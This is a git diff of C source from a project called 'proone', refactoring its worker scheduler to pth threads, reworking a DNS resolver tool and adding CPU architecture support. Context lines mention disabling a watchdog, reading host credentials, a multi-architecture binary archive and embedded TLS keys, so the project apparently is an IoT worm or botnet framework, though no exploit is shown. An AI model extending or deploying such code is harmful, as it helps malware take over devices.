diff options
Diffstat (limited to 'src')
-rw-r--r-- | src/Makefile.am | 9 | ||||
-rw-r--r-- | src/config.c | 10 | ||||
-rw-r--r-- | src/mbedtls.c | 4 | ||||
-rw-r--r-- | src/mbedtls.h | 4 | ||||
-rw-r--r-- | src/proone-ipaddr-arr.c | 45 | ||||
-rw-r--r-- | src/proone-resolv.c | 352 | ||||
-rw-r--r-- | src/proone.c | 347 | ||||
-rw-r--r-- | src/proone.h | 10 | ||||
-rw-r--r-- | src/protocol.c | 6 | ||||
-rw-r--r-- | src/protocol.h | 4 | ||||
-rw-r--r-- | src/pth.c | 116 | ||||
-rw-r--r-- | src/pth.h | 31 | ||||
-rw-r--r-- | src/resolv.c (renamed from src/resolv_worker.c) | 952 | ||||
-rw-r--r-- | src/resolv.h (renamed from src/resolv_worker.h) | 13 | ||||
-rw-r--r-- | src/util_ct.h | 8 | ||||
-rw-r--r-- | src/util_rt.c | 44 | ||||
-rw-r--r-- | src/util_rt.h | 8 | ||||
-rw-r--r-- | src/worker.c | 290 | ||||
-rw-r--r-- | src/worker.h | 79 |
19 files changed, 923 insertions, 1409 deletions
diff --git a/src/Makefile.am b/src/Makefile.am index cbd1fd1..2c320a2 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -15,7 +15,8 @@ bin_PROGRAMS =\ proone-mask\ proone-print-all-data\ proone-resolv\ - proone-stress + proone-stress\ + proone-ipaddr-arr libproone_a_SOURCES =\ config.c\ @@ -28,8 +29,8 @@ libproone_a_SOURCES =\ iset.c\ imap.c\ mbedtls.c\ - worker.c\ - resolv_worker.c + pth.c\ + resolv.c proone_LDFLAGS = -static proone_LDADD = libproone.a @@ -60,6 +61,8 @@ proone_resolv_LDADD = libproone.a proone_resolv_LDFLAGS = proone_resolv_SOURCES = proone-resolv.c +proone_ipaddr_arr_SOURCES = proone-ipaddr-arr.c + proone_stress_LDADD = libproone.a proone_stress_LDFLAGS = -static proone_stress_SOURCES = proone-stress.c diff --git a/src/config.c b/src/config.c index 7e6512d..f333c06 100644 --- a/src/config.c +++ b/src/config.c @@ -27,6 +27,16 @@ const prne_arch_t prne_host_arch = PRNE_ARCH_PPC #elif defined(__SH4__) PRNE_ARCH_SH4 + #elif defined(__m68k__) + PRNE_ARCH_M68K + #elif defined(__arc__) + #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ + PRNE_ARCH_ARCEB + #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + PRNE_ARCH_ARC + #else + #error "FIXME!" + #endif #else #error "FIXME!" #endif diff --git a/src/mbedtls.c b/src/mbedtls.c index 333cf1d..2b2cbc6 100644 --- a/src/mbedtls.c +++ b/src/mbedtls.c @@ -19,7 +19,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) { const int fd = *(int*)ctx; ssize_t ret; - + ret = write(fd, buf, len); if (ret < 0) { switch (errno) { @@ -77,6 +77,7 @@ typedef struct { pid_t ppid; clock_t clock; struct timespec now; + struct timespec datetime; } ent_buf_t; static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) { @@ -87,6 +88,7 @@ static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, s buf.ppid = getppid(); buf.clock = clock(); clock_gettime(CLOCK_MONOTONIC, &buf.now); + clock_gettime(CLOCK_REALTIME, &buf.datetime); *olen = prne_op_min(len, sizeof(buf)); memcpy(output, &buf, sizeof(*olen)); diff --git a/src/mbedtls.h b/src/mbedtls.h index e1339bb..e7a9017 100644 --- a/src/mbedtls.h +++ b/src/mbedtls.h @@ -11,5 +11,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt_depth, uint32_t *flags); int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len); int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len); -// Workaround for a bug - getrandom() blocks +/* +* Workaround for a bug - getrandom() blocks +*/ void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx); diff --git a/src/proone-ipaddr-arr.c b/src/proone-ipaddr-arr.c new file mode 100644 index 0000000..ae8e7bd --- /dev/null +++ b/src/proone-ipaddr-arr.c @@ -0,0 +1,45 @@ +#include <stdio.h> +#include <stdint.h> +#include <stdlib.h> +#include <string.h> +#include <assert.h> + +#include <arpa/inet.h> +#include <regex.h> + + +int main (const int argc, const char **args) { + static const int AF[2] = { AF_INET, AF_INET6 }; + char buf[512]; + uint8_t addr[16]; + size_t i; + regex_t re_trim; + regmatch_t rm[2]; + + assert(regcomp(&re_trim, "(\\S+)", REG_EXTENDED) == 0); + + while (fgets(buf, sizeof(buf), stdin) != NULL) { + if (regexec(&re_trim, buf, 2, rm, 0) != 0) { + goto CYCLE; + } + assert(rm[1].rm_so >= 0 && rm[1].rm_eo >= 0); + buf[rm[1].rm_eo] = 0; + + for (i = 0; i < 2; i += 1) { + memset(addr, 0, sizeof(addr)); + + if (inet_pton(AF[i], buf + rm[1].rm_so, addr) != 0) { + printf("{ 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x, 0x%x }", + addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[9], addr[10], addr[11], addr[12], addr[13], addr[14], addr[15]); + break; + } + } + +CYCLE: + printf("\n"); + } + + regfree(&re_trim); + + return 0; +} diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 44389b4..4897681 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -14,31 +14,30 @@ #include <sys/types.h> #include <arpa/inet.h> +#include <pthsem.h> #include <mbedtls/entropy.h> #include "util_rt.h" #include "util_ct.h" #include "llist.h" -#include "resolv_worker.h" +#include "pth.h" +#include "resolv.h" #include "mbedtls.h" -static int caught_signal = 0; -static int int_pipe[2] = { -1, -1 }; static regex_t prmpt_regex, empty_line_regex; static mbedtls_entropy_context entropy; static mbedtls_ctr_drbg_context rnd; -static prne_wkr_sched_req_t wsr; -static prne_wkr_pollfd_slot_pt stdin_pfd = NULL; -typedef struct { - prne_resolv_prm_t prm; - prne_wkr_pollfd_slot_pt slot; -} prm_tuple_t; +bool main_flag = false; +pth_t pth_main; prne_llist_t prm_list; +pth_mutex_t prm_lock = PTH_MUTEX_INIT; +pth_cond_t prm_cond = PTH_COND_INIT; +prne_pth_cv_t prm_cv = { &prm_lock, &prm_cond, false }; -prne_resolv_wkr_ctx_t resolv = NULL; +prne_resolv_t *resolv = NULL; static void upperstr (char *str, const size_t n) { for (size_t i = 0; i < n; i += 1) { @@ -61,12 +60,12 @@ static void proc_prompt_line (char *line, const size_t line_len) { static regmatch_t rm[3]; if (regexec(&prmpt_regex, line, 3, rm, 0) == 0) { + prne_resolv_prm_t *prm = (prne_resolv_prm_t*)prne_malloc(sizeof(prne_resolv_prm_t), 1); char *verb, *obj; size_t verb_len, obj_len; - prm_tuple_t tpl; bool has_prm = false; - assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); + prne_assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); verb = line + rm[1].rm_so; verb_len = rm[1].rm_eo - rm[1].rm_so; @@ -76,152 +75,122 @@ static void proc_prompt_line (char *line, const size_t line_len) { obj[obj_len] = 0; if (strncmp(verb, "A", verb_len) == 0) { - has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &tpl.prm, NULL); + has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &prm_cv, prm); } else if (strncmp(verb, "AAAA", verb_len) == 0) { - has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &tpl.prm, NULL); + has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &prm_cv, prm); } else if (strncmp(verb, "TXT", verb_len) == 0) { - has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &tpl.prm, NULL); + has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &prm_cv, prm); } else { abort(); } if (has_prm) { - prm_tuple_t *e; - - tpl.slot = prne_alloc_wkr_pollfd_slot(&wsr); - tpl.slot->pfd.fd = tpl.prm.evtfd; - tpl.slot->pfd.events = POLLIN; - e = prne_malloc(sizeof(prm_tuple_t), 1); - memcpy(e, &tpl, sizeof(prm_tuple_t)); - - assert(prne_llist_append(&prm_list, e) != NULL); + prne_assert(prne_llist_append(&prm_list, prm) != NULL); } else { perror("* Queue failed"); + prne_free(prm); } } else if (line_len > 0 && regexec(&empty_line_regex, line, 0, NULL, 0) != 0) { fprintf(stderr, "* Line not recognised.\n"); } - - fprintf(stderr, "> "); - fflush(stderr); -} - -static void main_wkr_free (void *ctx) { - prne_llist_entry_t *cur; - - prne_free_wkr_pollfd_slot(stdin_pfd); - stdin_pfd = NULL; - - cur = prm_list.head; - while (cur != NULL) { - prm_tuple_t *tpl = (prm_tuple_t*)cur->element; - prne_free_wkr_pollfd_slot(tpl->slot); - prne_resolv_free_prm(&tpl->prm); - prne_free(tpl); - cur = cur->next; - } - - prne_free_llist(&prm_list); -} - -static void main_wkr_fin (void *ctx) { - prne_free_wkr_pollfd_slot(stdin_pfd); - stdin_pfd = NULL; } -static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { - if (stdin_pfd != NULL) { - if (stdin_pfd->pfd.revents & POLLIN) { - static char line_buf[512]; - static size_t line_buf_cnt = 0; - static bool missed_line = false; - int read_len; - - read_len = read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt); - if (read_len > 0) { - char *line_buf_end, *line, *line_end; - size_t line_len, consumed = 0; - - line_buf_cnt += (size_t)read_len; - line_buf_end = line_buf + line_buf_cnt; - line = line_buf; - while (line < line_buf_end) { - line_end = prne_strnchr(line, '\n', line_buf_end - line); - if (line_end == NULL) { - break; - } - - if (missed_line) { - missed_line = false; - } - else { - *line_end = 0; - line_len = line_end - line; - proc_prompt_line(line, line_len); - } - consumed += line_end - line + 1; - line = line_end + 1; +static void *stdin_wkr_entry (void *ctx) { + while (main_flag) { + static char line_buf[512]; + static size_t line_buf_cnt = 0; + static bool missed_line = false; + int read_len; + + read_len = pth_read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt); + if (read_len > 0) { + char *line_buf_end, *line, *line_end; + size_t line_len, consumed = 0; + + line_buf_cnt += (size_t)read_len; + line_buf_end = line_buf + line_buf_cnt; + line = line_buf; + while (line < line_buf_end) { + line_end = prne_strnchr(line, '\n', line_buf_end - line); + if (line_end == NULL) { + break; } - if (consumed > 0) { - memmove(line_buf, line, line_buf_cnt - consumed); - line_buf_cnt -= consumed; + if (missed_line) { + missed_line = false; } else { - line_buf_cnt = 0; - if (!missed_line) { - fprintf(stderr, "* Line too long!\n"); - } - missed_line = true; + *line_end = 0; + line_len = line_end - line; + proc_prompt_line(line, line_len); } + consumed += line_end - line + 1; + line = line_end + 1; + } + + if (consumed > 0) { + memmove(line_buf, line, line_buf_cnt - consumed); + line_buf_cnt -= consumed; } else { - kill(getpid(), SIGTERM); - return; + line_buf_cnt = 0; + if (!missed_line) { + fprintf(stderr, "* Line too long!\n"); + } + missed_line = true; } } - else if (stdin_pfd->pfd.revents) { - kill(getpid(), SIGTERM); - return; + else if (read_len == 0) { + pth_raise(pth_main, SIGTERM); + break; + } + else { + break; } + + fflush(stderr); } - if (prm_list.size > 0) { - prm_tuple_t *tpl; - prne_llist_entry_t *cur; - bool output = false; + + return NULL; +} + +static void *stdout_wkr_entry (void *ctx) { + prne_resolv_prm_t *prm; + prne_llist_entry_t *cur; + bool output = false; + + while (main_flag || prm_list.size > 0) { + prne_assert(prne_pth_cond_timedwait(&prm_cv, NULL, NULL)); cur = prm_list.head; while (cur != NULL) { - tpl = (prm_tuple_t*)cur->element; + prm = (prne_resolv_prm_t*)cur->element; - assert((tpl->slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0); - - if (tpl->slot->pfd.revents) { + if (prm->fut != NULL && prm->fut->qr != PRNE_RESOLV_QR_NONE) { static char ntop_buf[INET6_ADDRSTRLEN]; const char *qr_str, *status_str; size_t i; output = true; - fprintf(stderr, "\n"); - qr_str = prne_resolv_qr_tostr(tpl->prm.fut->qr); - assert(qr_str != NULL); + qr_str = prne_resolv_qr_tostr(prm->fut->qr); + prne_assert(qr_str != NULL); status_str = NULL; - if (tpl->prm.fut->qr == PRNE_RESOLV_QR_OK || tpl->prm.fut->qr == PRNE_RESOLV_QR_STATUS) { - status_str = prne_resolv_rcode_tostr(tpl->prm.fut->status); + if (prm->fut->qr == PRNE_RESOLV_QR_OK || prm->fut->qr == PRNE_RESOLV_QR_STATUS) { + status_str = prne_resolv_rcode_tostr(prm->fut->status); } if (status_str == NULL) { status_str = ""; } printf("; qr: %7s, err: %3d, status: (%u)%s\n", - qr_str, tpl->prm.fut->err, tpl->prm.fut->status, status_str); - for (i = 0; i < tpl->prm.fut->rr_cnt; i += 1) { - prne_resolv_rr_t *rr = tpl->prm.fut->rr + i; + qr_str, prm->fut->err, prm->fut->status, status_str); + for (i = 0; i < prm->fut->rr_cnt; i += 1) { + prne_resolv_rr_t *rr = prm->fut->rr + i; const char *type_str; type_str = prne_resolv_rrtype_tostr(rr->rr_type); @@ -253,9 +222,7 @@ static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { } printf(";\n"); - prne_resolv_free_prm(&tpl->prm); - prne_free_wkr_pollfd_slot(tpl->slot); - prne_free(tpl); + prne_resolv_free_prm(prm); cur = prne_llist_erase(&prm_list, cur); } else { @@ -264,141 +231,74 @@ static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { } if (output) { - fprintf(stderr, "> "); fflush(stdout); - fflush(stderr); } } -} - -static bool main_wkr_has_finalised (void *ctx) { - return stdin_pfd == NULL && prm_list.size == 0; -} - -static void init_main_wkr (prne_worker_t *wkr) { - wkr->ctx = NULL; - wkr->free = main_wkr_free; - wkr->fin = main_wkr_fin; - wkr->work = main_wkr_work; - wkr->has_finalised = main_wkr_has_finalised; - - stdin_pfd = prne_alloc_wkr_pollfd_slot(&wsr); - stdin_pfd->pfd.fd = STDIN_FILENO; - stdin_pfd->pfd.events = POLLIN; - - prne_init_llist(&prm_list); -} -static void handle_interrupt (const int sn) { - caught_signal = sn; - write(int_pipe[1], &sn, 1); + return NULL; } -static void install_signal_handlers (void) { - struct sigaction sa; +int main (void) { + prne_worker_t wkr_arr[3]; + sigset_t sigset; + int caught; - if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + prne_init_worker(wkr_arr + i); } + prne_assert(sigemptyset(&sigset) == 0); + prne_assert(sigaddset(&sigset, SIGTERM) == 0); + prne_assert(sigaddset(&sigset, SIGINT) == 0); - memzero(&sa, sizeof(struct sigaction)); - sa.sa_flags = SA_RESETHAND; - sa.sa_handler = handle_interrupt; - - sigaction(SIGINT, &sa, NULL); - sigaction(SIGTERM, &sa, NULL); -} + prne_assert(pth_init() != 0); + pth_main = pth_self(); -int main (void) { - static prne_worker_t wkr_arr[2]; - static size_t i; - static prne_wkr_tick_info_t ti; - static int poll_ret; - static bool finalising = false; - static prne_wkr_pollfd_slot_pt int_pfd = NULL; - - /* org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) */ - assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0); - /* org regex: ^\s+$ */ - assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0); + // org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) + prne_assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0); + // org regex: ^\s+$ + prne_assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0); prne_mbedtls_entropy_init(&entropy); mbedtls_ctr_drbg_init(&rnd); - assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0); - prne_init_wkr_sched_req(&wsr); - prne_init_wkr_tick_info(&ti); - - prne_ok_or_die(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK)); - install_signal_handlers(); - int_pfd = prne_alloc_wkr_pollfd_slot(&wsr); - int_pfd->pfd.fd = int_pipe[0]; - int_pfd->pfd.events = POLLIN; - - init_main_wkr(&wkr_arr[0]); - wkr_arr[0].id = 0; - resolv = prne_alloc_resolv_worker(&wkr_arr[1], &wsr, &rnd); - assert(resolv != NULL); - - fprintf(stderr, "> "); - fflush(stderr); - - prne_wkr_tick_info_set_start(&ti); - while (true) { - static bool worked; - - if (caught_signal && !finalising) { - int_pfd->pfd.fd = -1; - - for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { - if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) { - continue; - } - wkr_arr[i].fin(wkr_arr[i].ctx); - } - finalising = true; - } + prne_assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0); + prne_init_llist(&prm_list); + + resolv = prne_alloc_resolv(&wkr_arr[0], &rnd); + prne_assert(resolv != NULL); - worked = false; - for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { - if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) { - if (!finalising) { - fprintf(stderr, "** worker #%zu finalised!\n", wkr_arr[i].id); - abort(); - } - } - else { - wkr_arr[i].work(wkr_arr[i].ctx, &ti); - worked = true; - } - } - if (!worked) { - break; - } + wkr_arr[1].entry = stdin_wkr_entry; + wkr_arr[2].entry = stdout_wkr_entry; - poll_ret = -1; - if (prne_wkr_sched_req_prep_poll(&wsr)) { - prne_wkr_sched_req_do_poll(&wsr, &poll_ret); - } - prne_wkr_tick_info_set_tick(&ti); - prne_wkr_sched_req_refl_poll(&wsr, poll_ret, ti.tick_diff); + main_flag = true; + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx); } - for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { - wkr_arr[i].free(wkr_arr[i].ctx); + pth_sigmask(SIG_BLOCK, &sigset, NULL); + pth_sigwait(&sigset, &caught); + pth_sigmask(SIG_UNBLOCK, &sigset, NULL); + + main_flag = false; + close(STDIN_FILENO); + prne_pth_cv_notify(&prm_cv); + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + prne_fin_worker(wkr_arr + i); + } + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + assert(pth_join(wkr_arr[i].pth, NULL)); + prne_free_worker(wkr_arr + i); } - prne_free_wkr_pollfd_slot(int_pfd); - prne_free_wkr_sched_req(&wsr); - prne_free_wkr_tick_info(&ti); mbedtls_ctr_drbg_free(&rnd); mbedtls_entropy_free(&entropy); regfree(&prmpt_regex); regfree(&empty_line_regex); - fprintf(stderr, "\n"); + for (prne_llist_entry_t *cur = prm_list.head; cur != NULL; cur = cur->next) { + prne_resolv_prm_t *prm = (prne_resolv_prm_t*)cur->element; + prne_resolv_free_prm(prm); + prne_free(prm); + } + prne_free_llist(&prm_list); return 0; } diff --git a/src/proone.c b/src/proone.c index 4fdae85..af77ba2 100644 --- a/src/proone.c +++ b/src/proone.c @@ -29,204 +29,81 @@ struct prne_global prne_g; struct prne_shared_global *prne_s_g = NULL; -static prne_worker_t resolv_wkr; -static prne_worker_t htbt_wkr; -static prne_worker_t* wkr_arr[2] = { NULL, NULL }; -static prne_llist_t wkr_pool; -static void (*proc_fin_call_ptr)(void) = NULL; -static bool finalising = false; -static int int_pipe[2] = { -1, -1 }; -static prne_wkr_pollfd_slot_pt int_pfd = NULL; - -static void proc_fin_call (void) { - if (prne_g.caught_signal != 0) { - prne_llist_entry_t *cur = wkr_pool.head; - prne_worker_t *w; - - prne_free_wkr_pollfd_slot(int_pfd); - int_pfd = NULL; - - while (cur != NULL) { - w = (prne_worker_t*)cur->element; - if (!w->has_finalised(w->ctx)) { - w->fin(w->ctx); - } - cur = cur->next; - } +sigset_t ss_exit, ss_all; - proc_fin_call_ptr = prne_empty_func; - finalising = true; - } -} +static prne_worker_t wkr_arr[2]; +static size_t wkr_cnt = 0; -static void alloc_workers (prne_wkr_sched_req_t *sched_req) { - prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); - if (prne_g.resolv != NULL) { - resolv_wkr.id = PRNE_RESOLV_WKR_ID; - wkr_arr[0] = &resolv_wkr; - if (prne_llist_append(&wkr_pool, &resolv_wkr) == NULL) { - prne_g.resolv = NULL; - } +static void alloc_workers (void) { + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + prne_init_worker(wkr_arr + i); } + + prne_g.resolv = prne_alloc_resolv(wkr_arr + 0, &prne_g.ssl.rnd); + prne_assert(prne_g.resolv != NULL); + wkr_cnt += 1; } static void free_workers (void) { - for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { - if (wkr_arr[i] == NULL) { - continue; - } - wkr_arr[i]->free(wkr_arr[i]->ctx); - wkr_arr[i] = NULL; + for (size_t i = 0; i < wkr_cnt; i += 1) { + prne_free_worker(wkr_arr + i); } prne_g.resolv = NULL; } -#ifdef PRNE_DEBUG -static void handle_sigpipe (const int sn) { - // ALWAYS poll() before writing to fd! - abort(); -} -#endif - -static void handle_sigchld (const int sn) { - const int saved_errno = errno; - pid_t reaped; - - do { - reaped = waitpid(-1, NULL, WNOHANG); - } while (reaped > 0); - - errno = saved_errno; -} - static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) { if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) { mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0); } } +/* proone_main() +* Actual main where all dangerous stuff happens. +* Most of long-lived variables are declared static so there's little stack +* allocation involvedsince stack allocation can cause page fault. +*/ static int proone_main (void) { -#ifdef PRNE_DEBUG - static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s -#endif - static int exit_code = 0, poll_ret; - static prne_wkr_tick_info_t tick_info; - static prne_wkr_sched_req_t sched_req; - static prne_llist_entry_t *cur; - static prne_worker_t *wkr; -#ifdef PRNE_DEBUG - static struct { - prne_wkr_sched_req_t sched; - prne_wkr_timeout_slot_pt busy_tos; - bool sched_ret; - } dbg; -#endif + static int caught_sig; + static pid_t reaped; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.child_start)); - seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); + prne_assert(pth_init()); + prne_g.main_pth = pth_self(); -#ifdef PRNE_DEBUG - signal(SIGPIPE, handle_sigpipe); -#else +#ifndef PRNE_DEBUG signal(SIGPIPE, SIG_IGN); #endif - signal(SIGCHLD, handle_sigchld); - -#ifdef PRNE_DEBUG - prne_init_wkr_sched_req(&dbg.sched); - dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched); - assert(dbg.busy_tos != NULL); -#endif - prne_init_wkr_sched_req(&sched_req); - prne_init_wkr_tick_info(&tick_info); - prne_init_llist(&wkr_pool); - alloc_workers(&sched_req); - int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); - if (int_pfd != NULL) { - int_pfd->pfd.fd = int_pipe[0]; - int_pfd->pfd.events = POLLIN; - } + seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY)); + alloc_workers(); - if (wkr_pool.size == 0) { - exit_code = 1; - goto END; + for (size_t i = 0; i < wkr_cnt; i += 1) { + wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx); + prne_assert(wkr_arr[i].pth != NULL); } - if (prne_g.caught_signal != 0) { - goto END; - } - - proc_fin_call_ptr = proc_fin_call; - prne_wkr_tick_info_set_start(&tick_info); - while (true) { - proc_fin_call_ptr(); - - cur = wkr_pool.head; - while (cur != NULL) { - wkr = (prne_worker_t*)cur->element; - - if (wkr->has_finalised(wkr->ctx)) { - cur = prne_llist_erase(&wkr_pool, cur); - } - else { - wkr->work(wkr->ctx, &tick_info); - cur = cur->next; - } - } - if (wkr_pool.size == 0) { - exit_code = finalising ? 0 : 1; - break; + do { + prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0); + if (caught_sig == SIGCHLD) { + do { + reaped = waitpid(-1, NULL, WNOHANG); + } while (reaped > 0); + continue; } + } while (false); + sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); - poll_ret = -1; - if (prne_wkr_sched_req_prep_poll(&sched_req)) { -#ifdef PRNE_DEBUG - if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) { - if (!dbg.busy_tos->active) { - dbg.busy_tos->active = true; - dbg.busy_tos->dur = DBG_BUSY_CHECK_INT; - } - } - else { - dbg.busy_tos->active = false; - } - dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched); -#endif - prne_wkr_sched_req_do_poll(&sched_req, &poll_ret); - } - else { -#ifdef PRNE_DEBUG - dbg.busy_tos->active = false; - dbg.sched_ret = false; -#endif - } - prne_wkr_tick_info_set_tick(&tick_info); - prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff); -#ifdef PRNE_DEBUG - if (dbg.sched_ret) { - prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff); - if (dbg.busy_tos->active && dbg.busy_tos->reached) { - const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT); - dbg.busy_tos->active = false; - fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s"); - } - } -#endif + for (size_t i = 0; i < wkr_cnt; i += 1) { + prne_fin_worker(wkr_arr + i); + } + for (size_t i = 0; i < wkr_cnt; i += 1) { + prne_assert(pth_join(wkr_arr[i].pth, NULL)); + prne_free_worker(wkr_arr + i); } -END: free_workers(); - prne_free_llist(&wkr_pool); - prne_free_wkr_pollfd_slot(int_pfd); - prne_free_wkr_tick_info(&tick_info); - prne_free_wkr_sched_req(&sched_req); -#ifdef PRNE_DEBUG - prne_free_wkr_timeout_slot(dbg.busy_tos); - prne_free_wkr_sched_req(&dbg.sched); -#endif + pth_kill(); - return exit_code; + return 0; } static bool ensure_single_instance (void) { @@ -291,28 +168,6 @@ static void disasble_watchdog (void) { #endif } -static void handle_interrupt (const int sig) { - const int saved_errno = errno; - uint8_t rubbish = 0; - - prne_g.caught_signal = sig; - write(int_pipe[1], &rubbish, 1); - - errno = saved_errno; -} - -static void setup_signal_actions (void) { - struct sigaction sa; - - sa.sa_handler = handle_interrupt; - sigemptyset(&sa.sa_mask); - sa.sa_flags = SA_RESETHAND; - - // try to exit gracefully upon reception of these signals - sigaction(SIGINT, &sa, NULL); - sigaction(SIGTERM, &sa, NULL); -} - static void read_host_credential (void) { static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3 + 2; char *buf = (char*)prne_malloc(1, buf_size); @@ -335,12 +190,15 @@ END: prne_free(buf); } -static void read_bin_archive (void) { +static void setup_bin_archive (void) { + // TODO +#if 0 prne_stdin_base64_rf_ctx_t rf_ctx; prne_init_stdin_base64_rf_ctx(&rf_ctx); prne_g.bin_ready = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &prne_g.bin_archive).rc == PRNE_PACK_RC_OK; prne_free_stdin_base64_rf_ctx(&rf_ctx); +#endif } static void set_env (void) { @@ -348,12 +206,20 @@ static void set_env (void) { } static void load_ssl_conf (void) { - if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) { + // Could save 1108 bytes if bundled and compressed + static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT; + static const uint8_t S_CRT[] = PRNE_X509_S_CRT; + static const uint8_t S_KEY[] = PRNE_X509_S_KEY; + static const uint8_t DH[] = PRNE_X509_DH; + static const uint8_t C_CRT[] = PRNE_X509_C_CRT; + static const uint8_t C_KEY[] = PRNE_X509_C_KEY; + + if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, CA_CRT, sizeof(CA_CRT)) == 0) { prne_g.s_ssl.ready = mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, 